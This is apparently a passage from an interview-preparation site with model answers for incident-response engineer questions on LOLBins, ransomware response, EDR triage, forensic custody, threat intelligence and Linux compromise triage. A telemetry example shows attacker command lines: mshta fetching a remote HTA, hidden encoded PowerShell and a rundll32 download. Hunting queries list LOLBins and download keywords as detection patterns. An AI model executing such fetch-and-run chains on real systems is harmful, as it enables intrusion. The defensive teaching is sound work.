Autoruns and my PowerShell sweep only see what is registered. Fileless persistence through a COM hijack, a modified legitimate binary, or a task stored only in the TaskCache registry key will not show up as a new file. That is why I correlate with process telemetry: a svchost.exe task host spawning PowerShell from a user profile is worth more than the task name itself. The other trap is alert fatigue. OneDrive, Teams and updaters all write Run entries and tasks, so a raw count of autostarts means nothing. I hunt on the combination of unsigned binary, user-writable path, and creation time near an incident, and I record the baseline per image so a new entry stands out in the next sweep.
That loop is what I would describe to an interviewer: know the autostart locations cold, hunt with telemetry rather than file lists, and expect the interesting cases to be the ones that never drop a new executable.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-9What are living-off-the-land binaries, and why do they complicate detection?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
Living-off-the-land binaries, or LOLBins, are legitimate, usually signed programs already present on Windows and macOS systems that attackers abuse for execution, persistence, download, and defence evasion. Examples include powershell.exe, rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe, bitsadmin.exe, msbuild.exe, and wmic.exe. The LOLBAS project catalogues more than 100 of them with the exact flags attackers use.
They complicate detection because the binary itself is not malware. It is signed by Microsoft, present by default, and used by administrators every day. A hash or allowlist check passes. The malicious part is the command line, the parent process, and what the binary does next, such as spawning a shell or making an outbound connection. If you block the binary outright, you break admin scripts, management tools, and sometimes the OS.
Worked trace: what changes in the telemetry
| Time | Process tree | Command line | Why it stands out |
|---|---|---|---|
| 09:14:02 | WINWORD.EXE -> mshta.exe | mshta.exe http://cdn.example/x.hta | Office spawning a script host, network fetch |
| 09:14:05 | mshta.exe -> powershell.exe | powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA... | Hidden window, encoded payload, unusual parent |
| 09:14:09 | powershell.exe -> rundll32.exe | rundll32.exe url.dll,FileProtocolHandler http://... | Second LOLBin chained for download |
None of those binaries trips a file reputation alert. The chain does. That is the detection surface: parent-child relationships, command-line arguments, and behaviour after launch.
How I detect it in practice
I start with process creation logging with command lines enabled, Sysmon Event 1 or Windows 4688 with the command line field, plus Sysmon Event 3 for network connections tied to the process ID. In Microsoft Sentinel, a starting hunt looks like this:
DeviceProcessEvents
| where FileName in~ ("mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe", "bitsadmin.exe", "msbuild.exe")
| where ProcessCommandLine has_any ("http", "-enc", "/s:", "-urlcache", "/transfer")
| where InitiatingProcessFileName !in~ ("sccm.exe", "intune.exe", "ansible.exe")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLineI tune the exclusions per customer after checking what their management tooling actually runs. A blanket exclusion for powershell.exe would hide most real abuse.
On the endpoint I layer controls rather than relying on one rule. PowerShell Constrained Language Mode with AMSI and script block logging catches obfuscated payloads even when the binary is trusted. WDAC or AppLocker rules can restrict mshta.exe and regsvr32.exe to admin groups, since most users never need them. EDR behavioural rules flag the pattern that matters: a LOLBin spawning cmd.exe, powershell.exe, or making a first-seen outbound connection.
Trade-offs and failure modes
Blocking is the tempting answer and the one that causes incidents. Blocking powershell.exe breaks SCCM, Intune, and backup agents. Blocking rundll32.exe breaks printing and shell extensions. The safer default is to alert on context and restrict only the binaries with a narrow legitimate user base, such as mshta.exe.
The main failure mode is alert fatigue from admin activity. Patch windows and software deployments generate exactly the parent-child patterns above. I handle that by baselining per device role, tagging known service accounts, and requiring two signals before paging, for example an unusual parent plus a network connection or an encoded command. A single signal goes to a hunt queue.
Attackers also chain LOLBins to evade single-binary rules, as in the trace above, and they use LOLBins on macOS and Linux too, such as osascript, curl, and python3 for download and execution. The principle transfers: trust the binary less than you trust the context around it.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-10Walk me through your approach to a ransomware incident from initial call to recovery?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I treat the first call as triage, not as a confirmed ransomware case. I confirm who is calling, what systems are affected, whether encryption is actually in progress, and whether the caller has authority to approve containment. Then I move in a fixed order: contain spread, preserve evidence, identify the intrusion vector and persistence, eradicate, and only then restore. Recovery is not finished when files decrypt. It is finished when I can show the attacker path is closed and no persistence survives in the restored estate.
For a Kudelski client, that distinction matters. Many clients run media, IoT or embedded estates where a flat IT network sits next to operational systems. I ask early which segment is hit, because isolating a workstation is different from isolating a head-end or a build system that signs firmware.
Initial call, first 30 minutes
I open a bridge, assign an incident commander, and start a timed log. I ask for: number and type of encrypted hosts, ransom note name and content, first observed time, any data exfiltration claim, recent VPN or RDP logins, and whether backups are online, offline or immutable. I tell the caller not to power off machines that are still encrypting, not to delete the ransom note, and not to reboot the suspected patient zero. Powering off stops encryption on that host but destroys volatile evidence and can corrupt the forensic image.
Containment starts before forensics finishes. I isolate affected hosts at the switch or EDR, disable SMBv1 and block lateral movement ports between segments, force a password reset for privileged accounts, and revoke active sessions and VPN tokens. If I cannot tell which hosts are clean, I assume the domain is compromised and I do not let the business reconnect everything to "test" it.
Evidence and scoping
I snapshot or image patient zero and one or two other encrypted hosts before remediation. I pull EDR telemetry, firewall and proxy logs, VPN logs, and domain controller logs for the 14 days before first encryption. I look for the initial access in MITRE terms: phishing attachment, exploited edge device, valid accounts, or external remote service. I also hunt for double extortion. Ransomware groups now steal data before encrypting, so I check egress volume, cloud storage uploads, and access to file servers in the days before encryption.
A Sigma rule I use as a starting hunt, tuned per client, looks for mass file renaming and shadow copy deletion:
title: Shadow Copy Deletion Followed by Mass Rename
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\vssadmin.exe'
CommandLine|contains: 'delete shadows'
timeframe: 10m
condition: selection
level: criticalThat rule alone proves nothing. I correlate it with process trees, the ransom note drop, and new services created in the same window.
Eradication and recovery
I do not restore until I have an answer for how the attacker got in and how they persisted. Common persistence I check explicitly: rogue domain accounts, new scheduled tasks, WMI subscriptions, GPO changes, and implants on edge devices that were never rebuilt. If the vector was a VPN appliance, patching it is not eradication. I rebuild it or replace it from known good media.
Restore order is deliberate. Domain controllers and identity first, from a clean backup or a rebuilt DC, then backup infrastructure, then tier zero applications, then user workstations in waves. I restore to an isolated VLAN first, run AV and EDR scans, and monitor for 48 to 72 hours before reconnecting to production. I validate backups before the incident by test restoring one server, because a backup that has never been restored is a hypothesis.
| Phase | Typical window | Exit criterion |
|---|---|---|
| Triage and containment | 0 to 4 hours | Spread stopped, bridge and log running |
| Scoping and forensics | Day 1 to 3 | Initial vector and persistence identified |
| Eradication | Day 2 to 5 | Rogue accounts and implants removed, edge rebuilt |
| Restore in isolation | Day 3 to 7 | Tier zero services up, monitored, no re-encryption |
| Reconnect and lessons | Week 2 | IOC hunt clean across estate, report issued |
Failure modes I watch for
Restoring too early is the classic one. The business comes back, the attacker still has a valid account, and encryption resumes on day three. I have seen that pattern turn a contained incident into a second, larger one. The second failure mode is paying or negotiating without legal and insurer involvement. I do not handle that decision alone. If payment is considered, I test any decryptor in a lab first and I assume stolen data may still leak.
The third failure mode is declaring recovery on file count. I close the incident when the hunt is clean, privileged credentials have been rotated, MFA is enforced for remote access, backups are immutable and test restored, and the client has a written timeline they can give to regulators or customers. That is the point where the call that started the incident can actually be closed.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-11How do you triage an alert in an EDR platform like CrowdStrike or Microsoft Defender?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I triage in four passes: validate, scope, decide, document. Validation asks whether the alert is real activity or noise. Scope asks which host, user and process tree are involved and whether anything else shows the same pattern. The decision is contain, escalate to incident response, or close with evidence. Documentation records the verdict so the next analyst does not redo the work.
In CrowdStrike Falcon I start in the alert or incident view, then open the device timeline and process tree. In Microsoft Defender for Endpoint I start in the Defender portal alert queue, then use Advanced Hunting to pivot across devices. The workflow is the same. The console names differ.
Validate: is this real?
I check the detection name, severity and confidence, then the process lineage. A PowerShell alert means little until I see the parent process, command line, user context and whether the script is signed or known. I check file reputation and hash prevalence across the tenant. A hash seen on 400 hosts after a software push is a different problem from a hash seen once.
I also check for a known benign explanation. IT admin scripts, vulnerability scanners and software deployment tools generate a steady stream of behavioural detections. If the same detection fires from the same parent process on a schedule, I look for an approved exception rather than treating each firing as a new incident.
Scope: how far has it spread?
I pivot on host, user, hash, parent process and network destination. In Defender, a KQL query does that across the tenant in one pass:
// Defender for Endpoint: find other hosts running the same suspicious parent chain
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-enc", "FromBase64String", "DownloadString")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileNameIn Falcon I use the same pivots in the search and incident views, plus the process tree to see what the process spawned and what network connections it made. I look specifically for persistence, credential access and lateral movement. One host with an encoded PowerShell command that only made a DNS query is a different case from one host that also touched LSASS and connected to three other servers on SMB.
Worked trace
Hypothetical alert: Falcon reports a high severity behavioural detection on WS-4417, user j.meyer, at 02:14. Defender equivalent would arrive as a high severity alert with the same process evidence.
| Check | Finding | Effect on verdict |
|---|---|---|
| Process tree | outlook.exe spawned powershell.exe -enc ..., which spawned rundll32.exe | Parent is a document reader, not an admin tool. Raises priority. |
| File and hash | Hash seen on 1 of 12,000 hosts, no prevalence, unsigned | Not a software push. |
| Network | PowerShell connected to a newly registered domain, 40 KB transferred | Exfiltration or C2 cannot be ruled out. |
| Persistence | New scheduled task created by the same PowerShell process | Execution survived the parent process. |
| Tenant pivot | Same command line on 2 other hosts, same user account | Scope is at least 3 hosts, not 1. |
| User context | User reports opening an invoice attachment at 02:11 | Plausible initial access path. |
That combination moves the case from alert to incident. A single encoded command from explorer.exe on a host with no network connection and no persistence would usually close as a false positive or a policy violation, with the evidence recorded.
Decide: contain, escalate or close
Containment depends on confidence and blast radius. If I have a credible process tree showing malicious execution, I isolate the host. Falcon offers network containment, which cuts the host off from the network while keeping it available for Live Response. Defender offers device isolation, with options to keep Live Response access. I do not wait for full forensic confirmation before isolating a host that is actively beaconing.
Escalation to incident response happens when I see credential access, lateral movement, data staging or a second host. At Kudelski that also means checking the client contract. Managed detection customers have agreed severity definitions and response times, so my triage note has to state the evidence, the scope so far and the action taken in terms the client can act on. I do not close a high severity alert on a critical server without a second pair of eyes.
Closing requires a reason an auditor can follow: benign software, approved admin activity, test traffic, or a detection that fired on incomplete telemetry. "No malicious activity found" is not a reason. The note should name what I checked.
Failure modes I watch for
Alert fatigue is the main one. If an analyst closes detections quickly to clear the queue, a real incident hides inside a noisy rule. I track repeat detections per rule and per host. A rule firing 200 times a week with a 98% benign rate needs tuning or an exception, not faster closures.
The second is trusting the alert title. CrowdStrike IOA detections and Defender alert names describe a technique, not a verdict. I have seen a "suspicious PowerShell" alert turn out to be a signed management script, and a low severity alert turn out to be the first stage of a real intrusion. The process tree and the pivot decide, not the label.
The third is scoping too narrowly. EDR alerts are per host. Attackers are not. If I do not pivot on hash, user and destination, I will contain one host and miss the other two. That is why the tenant-wide query comes before the decision, not after it.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-12Why does chain of custody matter, and how do you preserve forensic integrity?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
Chain of custody is the documented, unbroken record of who handled a piece of evidence, when, why, and what they did to it. It matters because forensic findings are only useful if a client, regulator, insurer, or court can trust that the evidence presented is the same evidence collected. Without that record, a technically correct analysis can be challenged as unreliable and excluded, and an investigation can collapse on procedure rather than facts.
I preserve integrity by treating the original as read-only from the first touch. I acquire through a hardware or software write blocker, hash the image at acquisition with SHA-256, verify the hash on receipt, work only on a verified copy, and log every transfer and access. If any link in that chain is missing or a hash does not match, I stop and document the discrepancy instead of continuing as if nothing happened.
What the record has to prove
For each item I record a unique identifier, description and serial number, source system and location, collector name and role, date and time in UTC with the time source noted, acquisition method and tool version, hash value, storage location, and every subsequent handler. Each handoff is signed or otherwise attributed by both parties. Gaps are the problem. A two-hour gap with no owner, or a log entry that says "examined" with no hash check, gives opposing counsel or an auditor a reason to question whether data was altered, substituted, or simply mishandled.
That is why the standard is not "we were careful." It is a record a third party can replay. ISO/IEC 27037 covers identification, collection, acquisition, and preservation of digital evidence, and RFC 3227 sets the same expectation for handling: document everything, minimise handling, and be able to account for the evidence at any point.
How I preserve integrity in practice
The controls behind that flow:
- Prevent alteration at source. Power state, live connections, and volatile data decisions come first, then write-blocked acquisition. I never mount a suspect disk read-write on an analysis workstation, and I never run tools against the original when a copy will do.
- Hash early and often. Hash at acquisition, on receipt by the lab, before analysis, and on return to storage. A hash computed only at the end proves nothing about what happened in between.
- Separate original and working copy. The original stays sealed. All examination, carving, and reporting happens on the copy, so an analyst error cannot destroy the source.
- Control storage and access. Encrypted, access-logged storage, named custodians, and a check-in and check-out process. Shared drives and shared accounts break attribution.
- Sync time and note it. All systems use NTP. I record times in UTC and note the source, because a log that mixes local times from three time zones cannot be correlated reliably.
Worked custody trace
| Time (UTC) | Custodian | Action | Hash check |
|---|---|---|---|
| 2026-03-04 09:12 | J. Meyer, field IR | Seized laptop KDS-014, labelled, photographed | n/a, sealed |
| 2026-03-04 11:40 | J. Meyer | Acquired image via write blocker, FTK Imager 4.7 | SHA-256 9f2c…a41e recorded |
| 2026-03-04 14:05 | Lab, A. Rao | Received sealed media, verified seal and hash | Match 9f2c…a41e |
| 2026-03-05 08:30 | A. Rao | Created working copy, began analysis on copy | Copy hash match |
| 2026-03-06 16:20 | A. Rao to Legal | Transferred copy for disclosure, both signed | Re-hash match, logged |
Verification code I use on receipt
import hashlib
def sha256_file(path: str) -> str:
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest()
# Checked against the acquisition record before any analysis starts.
assert sha256_file("KDS-014.img") == "9f2c...a41e" # value from custody logFailure modes I watch for
Hash mismatch on receipt means I quarantine the item, preserve the mismatch in the log, and re-acquire from the original if it is still available. I do not overwrite the recorded hash to make it fit. Missing signatures on a handoff, unlabelled media, and analysis on the original are the three findings that most often undermine an otherwise sound investigation, and they are all preventable with the log and the copy discipline above. When a client asks why a finding will hold up months later, that log, plus the matching hashes at each step, is the answer.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-13How do you integrate threat intelligence into an active response?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I treat threat intelligence as an input to a decision pipeline, not as a blocklist I paste into a firewall. Ingest feeds in a standard format, normalize and enrich them with context from our own estate, score confidence and freshness, then let a SOAR playbook take a proportionate action and feed the outcome back. The loop matters more than any single feed.
Assume we run a SIEM and SOAR, consume MISP or a commercial feed over TAXII, and have change control on firewall, proxy, EDR and email gateway. Without that automation, intel sits in a PDF and response stays manual.
Normalize first. STIX 2.1 observables arrive as IPs, domains, hashes, URLs and email addresses with different naming and expiry. I map them to one internal schema: indicator, type, first seen, last seen, expires, source, TLP, confidence, and the MITRE technique it supports. Deduplicate on indicator plus type. Drop anything past expiry at ingest, not at action time. A hash from 2019 with no TTL is history, not a current threat.
Enrich before you act. An IP means little until you know what it touches. Join the indicator against asset inventory, CMDB owner, internet exposure, and recent telemetry. A domain resolving to a shared CDN or a shared hosting provider needs a different action from a domain seen only on one workstation. That join is where most false positives die.
| Indicator | Enrichment result | Confidence | Action |
|---|---|---|---|
185.220.x.x Tor exit, seen in proxy logs on 3 hosts | No business service, first seen today | High, two sources agree | Block at proxy and firewall, hunt for Tor client config |
| Shared CDN IP | Serves legitimate third party clients | Medium, single source | Alert and hunt, do not block at edge |
| SHA256 from ransomware report | Matches file on 1 server, unsigned | High, sandbox detonation | Isolate host, block hash in EDR, open incident |
| Phishing domain, TLP:AMBER | No internal hits in 30 days | Medium | Add to email gateway, create hunt query, no page |
Score and gate the action. I use a simple rule a reviewer can audit: high confidence plus internal hit equals automated block or isolate. High confidence with no internal hit equals hunt and monitor. Low confidence equals alert only. Confidence comes from source track record, corroboration, and whether we have seen the indicator in our own telemetry. I track precision per feed. A feed that generates 40% false positives in a month gets demoted, however reputable the brand.
The snippet below runs on our normalized internal record, after the MISP or STIX object has been mapped into that schema. It is not a raw MISP event.
# Python 3.11, internal normalized record
from datetime import datetime, timezone
def actionable(record, now=None):
now = now or datetime.now(timezone.utc)
expires = datetime.fromisoformat(record["expires"].replace("Z", "+00:00"))
if expires < now:
return False, "expired"
if record["tlp"] in ("TLP:RED", "TLP:AMBER") and not record["shareable_internally"]:
return False, "tlp_restriction"
if record["confidence"] < 70 and not record["internal_hit"]:
return False, "low_confidence_no_hit"
return True, "eligible_for_playbook"That check runs before SOAR. It stops a stale or restricted indicator from reaching a blocking step.
Act in tiers. Tier one is reversible and cheap: block at proxy or email gateway, add a SIEM correlation rule, raise a hunt task. Tier two changes host state: isolate a device in EDR, disable an account, revoke a session. Tier three changes the network edge: firewall or WAF block. I require human approval for tier three on shared infrastructure, because one bad IP can take down a service used by customers. Every action writes back to the incident record: indicator, source, score, action taken, and expiry, so the next analyst can unwind it.
Close the loop. After action, measure. Did the block hit anything in the next 24 hours? Did the hunt find a host? Did a detection rule fire on the same technique? Feed that back into source scoring and into detection engineering. If intel repeatedly points at a technique we cannot detect, that becomes a backlog item with a concrete gap, for example no alert on scheduled task creation matching the reported persistence method.
Failure modes I watch for: feed poisoning or a compromised source, which I catch by requiring corroboration for edge blocks; stale intel causing outages, caught by TTL enforcement; overblocking shared IPs, caught by the asset join; and TLP violations, caught by tagging every downstream ticket with the original handling restriction. If a feed cannot give me expiry and handling markings, I treat it as low confidence by default.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-14You are handed a potentially compromised Linux server. What artifacts do you check?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I would not start by reading logs. I would first preserve volatile state, then work outward from persistence to execution to access, and build a timeline I can defend. On a live Linux box that means memory and network state before reboot, then authentication and execution history, then anything that survives reboot, then file integrity against a known good baseline.
Assume I have authorisation to image the disk, the host is still running, and I can work from a trusted jump host or forensic workstation. I would not install tools on the suspect host, and I would not trust binaries on it if a rootkit is in play.
# Run from trusted media, output to external evidence volume
# Live state first: processes, sockets, mounts, kernel modules
ps auxww; ss -tulpn; ss -tnp; ls -l /proc/*/exe 2>/dev/null
lsmod; cat /proc/modules; mount; df -h; lsof +L1 # deleted but open files
# Accounts and access paths
cat /etc/passwd /etc/shadow 2>/dev/null | head -c 2000
cat /etc/sudoers; ls -la /etc/sudoers.d/; cat /etc/ssh/sshd_config
cat ~/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null
# Persistence surfaces
systemctl list-unit-files --state=enabled; ls -la /etc/cron* /var/spool/cron/crontabs/ 2>/dev/null
ls -la /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | head -n 100That live pass answers three questions quickly. What is running now that should not be. Who can get in. What will still be running after a reboot.
Access and execution artifacts
| Artifact | What it shows | Tampering or compromise sign |
|---|---|---|
journalctl and /var/log/auth.log, secure | SSH logins, sudo, su, session opens | Gaps, rotated files missing, clock jumps, logins from new IPs or keys |
/var/log/wtmp, wtmpdb, last, lastlog | Login history surviving log rotation | Entries deleted, binary file truncated |
~/.bash_history, ~/.zsh_history, /root/.bash_history | Interactive commands, download tools, staging | History cleared, HISTFILE=/dev/null, commands run via bash -c with no history |
auditd logs, /var/log/audit/audit.log | Execve, file writes, privilege escalation | Audit daemon stopped, rules emptied, gap in sequence numbers |
Web and app logs, nginx/apache access and error logs | Initial access vector, webshell hits | Requests returning 200 for uploaded files, scanner patterns before a successful exploit |
journalctl --list-boots, dmesg | Reboots, kernel warnings, module loads | Unexpected reboot, taint flags, unsigned module load |
I correlate those by timestamp in UTC, normalised to one timezone, and I look for the first anomalous event rather than the loudest one. A single sudo to a new user at 03:14 followed by curl to an external IP and a new systemd unit tells a clearer story than a hundred failed SSH passwords.
Persistence and integrity
Next I check every mechanism that restarts code. Cron jobs for all users, systemd services and timers, rc.local, shell profiles, SSH authorized_keys and authorized_keys2, new local accounts and modified sudoers, and web server configuration. I compare file modification times against package records.
# Integrity check against package database (Debian/Ubuntu example)
debsums -a 2>/dev/null | head -n 50
# RHEL family equivalent
rpm -Va 2>/dev/null | head -n 50
# Look for recent changes in persistence locations
find /etc /var/spool/cron /home /root -type f -mtime -30 -ls 2>/dev/nulldebsums or rpm -Va flags binaries and configs that differ from the signed package. That catches replaced sshd, login, or library files, and it catches a dropped webshell in a web root only if I also hash that directory against a deployment baseline or a clean image. I also check LD_PRELOAD in /etc/ld.so.preload and shell startup files, because a rootkit that hides processes will often hide itself there.
For kernel level hiding I compare what the host reports with what an offline image shows. ps and ss from the live system can lie. A memory capture, or booting the disk image in an isolated lab and running chkrootkit or rkhunter there, gives a second view. I treat any discrepancy between live output and offline analysis as evidence of a rootkit until proven otherwise.
Failure modes I watch for
Log tampering is common, so absence of evidence is itself a finding. If auth.log ends abruptly at the time of a new account creation, I note the gap and rely on wtmp, auditd forwarded copies, and network flow logs from the firewall or EDR, which the attacker usually cannot erase from the host. Clock skew matters too. I record the host clock offset against NTP at capture time, because a two hour skew will break correlation with proxy and DNS logs.
Deleted but still open files, found with lsof +L1, often hold the actual payload or a downloaded tool. I copy those file descriptors before killing the process. Killing first and checking later loses them.
Finally, I would not declare the host clean because the obvious checks pass. I would state scope. Which artifacts were checked, which were unavailable or tampered, what the timeline shows for initial access, persistence, and exfiltration, and whether the image still needs offline analysis. That is the answer a client can act on, and the one I can defend in a report.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-15Design a detection-and-response workflow for an MDR client, from telemetry to analyst action?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
I would run it as a pipeline with explicit handoffs, not as a queue of alerts. Telemetry lands in a normalised store, enrichment happens before an analyst ever sees it, detection fires on correlated behaviour rather than single events, and containment is pre-authorised for defined severities so the analyst is deciding, not waiting for permission.
Assume a mid-size MDR client: 5,000 endpoints, Microsoft 365 and Entra ID, firewall and VPN logs, cloud workload logs, and an EDR feeding a SIEM. Hypothetical volumes for the example: 2 million events per day, 400 raw alerts per day, 25 cases that reach a human.
1. Ingest and normalise. Every source ships over TLS to a collector with a heartbeat. I normalise to a common schema (OCSF or the SIEM's native model) at ingest, because a rule written against three vendor formats will silently miss one of them. Fields I refuse to lose: timestamp in UTC, source host, user, process hash, parent process, network destination. A coverage dashboard tracks expected versus received volume per source per hour. If EDR volume drops 40% in an hour, that is treated as a detection failure, not a quiet period.
2. Enrich before alerting. Each event gets asset criticality, owner, recent change window, user risk, and threat intel reputation attached in the pipeline. That turns a raw powershell.exe spawned by winword.exe into a case that already says which host, which user, whether that user is in Finance, and whether the hash was seen in a campaign last week. Analysts should not spend their first ten minutes doing lookups a join could do.
3. Detect on correlation. Single-source rules catch commodity malware. The cases that matter are chains: phishing click, then token theft, then lateral movement. I would write detections as sequences with a time window, for example:
// KQL: impossible travel followed by mailbox rule creation, 4 hours
SigninLogs
| where RiskLevelDuringSignIn in ("high", "medium")
| join kind=inner (OfficeActivityLogs
| where Operation in ("New-InboxRule", "Set-InboxRule")
| project RuleTime, UserId, RuleName)
on UserId
| where RuleTime between (TimeGenerated .. TimeGenerated + 4h)
| project TimeGenerated, UserId, IPAddress, Location, RuleNameThat pattern (initial access in one source, persistence or exfiltration in another) is worth more than fifty low-fidelity rules.
4. Triage and response. Alerts become cases with a severity, an owner, and a clock. Pre-authorised playbooks let the SOAR act without a phone call for defined actions: isolate a host that ran a known ransomware precursor, disable an account after impossible travel plus MFA fatigue, block a sender domain at the mail gateway. Anything destructive or business-critical, such as wiping a server or disabling a service account, stays human-approved.
| Stage | Owner | Target (hypothetical) | Artefact produced |
|---|---|---|---|
| Ingest to searchable | Pipeline | p95 under 90 seconds | Normalised event with enrichment fields |
| Detection to case | SIEM / SOAR | under 5 minutes for critical | Case with MITRE technique tags |
| Case to analyst action | MDR analyst | MTTA 15 minutes, critical | Containment record and timeline |
| Containment to eradication | Analyst plus client IT | 4 hours for critical | IOC list, hunt results, recovery note |
Where this breaks. Three failure modes I would name in the interview. First, telemetry gaps: a client deploys EDR to 92% of endpoints and the missing 8% are the servers nobody inventoried. Coverage reporting catches that before an incident does. Second, enrichment going stale: asset data from a CMDB updated monthly will mislabel a decommissioned jump box as critical, so I would flag enrichment age on the case. Third, auto-containment backfiring: isolating a domain controller on a false positive takes authentication down for the whole client. That is why playbooks have blast-radius tiers, and the highest tier requires two-person approval.
I would close the loop with a hunt: every confirmed case generates a retro-hunt across 30 days of telemetry for the same technique, and any new detection that comes out of it goes back into the pipeline with a test case. Without that step, the workflow gets faster at responding to the same attack and never learns the next one.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-16Walk me through a significant IR or DFIR engagement from your CV. What was your specific role and what did you learn?
Reported in Kudelski Security Incident Response Engineer Interview Questions ...
The 90-second answer
The engagement I would pick is a ransomware case I led for a 900-person manufacturing group in 2024. I was the incident lead, not the analyst who found the first alert. That meant I owned scoping, the containment call, and client communication, while two analysts ran host forensics and threat hunting and our legal contact handled privilege and insurer notification.
Initial access was a compromised VPN account with no MFA on a legacy gateway. The attacker dwelled for 11 days, dumped credentials from a domain controller, then deployed a locker at 02:14 on a Sunday. We contained in under four hours, but only because we had pre-agreed authority to isolate hosts. Without that, the client wanted to keep production running and we would have lost the window.
What I learned was not technical. Our detection was fine. Our decision rights and evidence capture were not. We lost volatile memory on the first three hosts we isolated because the playbook said isolate first, image later. We also discovered during recovery that two backup servers were domain-joined and encrypted, which extended downtime from a planned 48 hours to nine days.
What happened, in order
| Time | Finding | Action |
|---|---|---|
| --- | --- | --- |
| Day 0, 02:14 | EDR fires on 37 hosts in one OU, ransom note, shadow copies deleted | Declare incident, open bridge, freeze changes |
| Day 0, 03:10 | VPN logs show first external login 11 days earlier, same account | Disable all VPN accounts, force MFA re-enrolment |
| Day 0, 06:00 | Memory on host 1 shows Mimikatz-like tool and LSASS access | Capture memory before reimaging, hash images with SHA-256 |
| Day 1 | Hunt finds scheduled task and a rogue domain admin created Day -9 | Remove task, reset krbtgt twice, hunt for second account |
| Day 2-9 | 2 of 5 backup servers encrypted, immutable copy intact | Restore domain controllers first, then ERP, then plant systems in stages |
The hunt that found the second persistence mechanism was a simple log query, run across the fleet rather than on the encrypted hosts:
// Microsoft Sentinel / Defender, checked against current KQL syntax
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("schtasks.exe", "rundll32.exe", "powershell.exe")
| where ProcessCommandLine has_any ("/create", "/ru ", "-enc")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| sort by Timestamp descThat returned 214 hits. Manual review cut it to one malicious task. The lesson there is to hunt from central logs early, because host disks become unavailable once you isolate or reimage.
My specific role and where I was weak
I made the containment recommendation at 02:40 and pushed for isolation of the whole OU instead of the seven hosts that had already encrypted. That call probably saved the ERP database. I was slower on evidence. I authorised isolation before memory capture on hosts 2 and 3, following the written playbook. We still proved credential dumping from EDR telemetry and the domain controller logs, but we could not recover the full command history. In a case that went to law enforcement, that gap would have mattered.
I also underestimated the backup problem. I reported "backups available" on Day 0 based on the client's asset list. I had not asked whether the backup servers were domain-joined, immutable, or tested for a domain-wide restore. Asking that on the first call now takes me two minutes and changes the recovery estimate completely.
What I changed afterwards
I rewrote our first-hour checklist to put memory capture for the first host ahead of mass isolation, with a 20-minute limit so containment is not delayed. I added three questions to the intake call: which accounts can be disabled without stopping safety systems, who can authorise isolation at 02:00, and are backups immutable and off-domain. I also started logging every containment decision with time, authoriser, and rationale. When the insurer and the client's board asked why production stopped for nine days, that log was the difference between a defensible decision and an argument.
If I ran the same case at Kudelski, I would keep the same structure: lead the decisions, let analysts stay on the hosts, and treat the first hour as a legal and operational problem as much as a technical one.
Curated: · Written: · Reviewed:
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Curated: · Written: · Reviewed: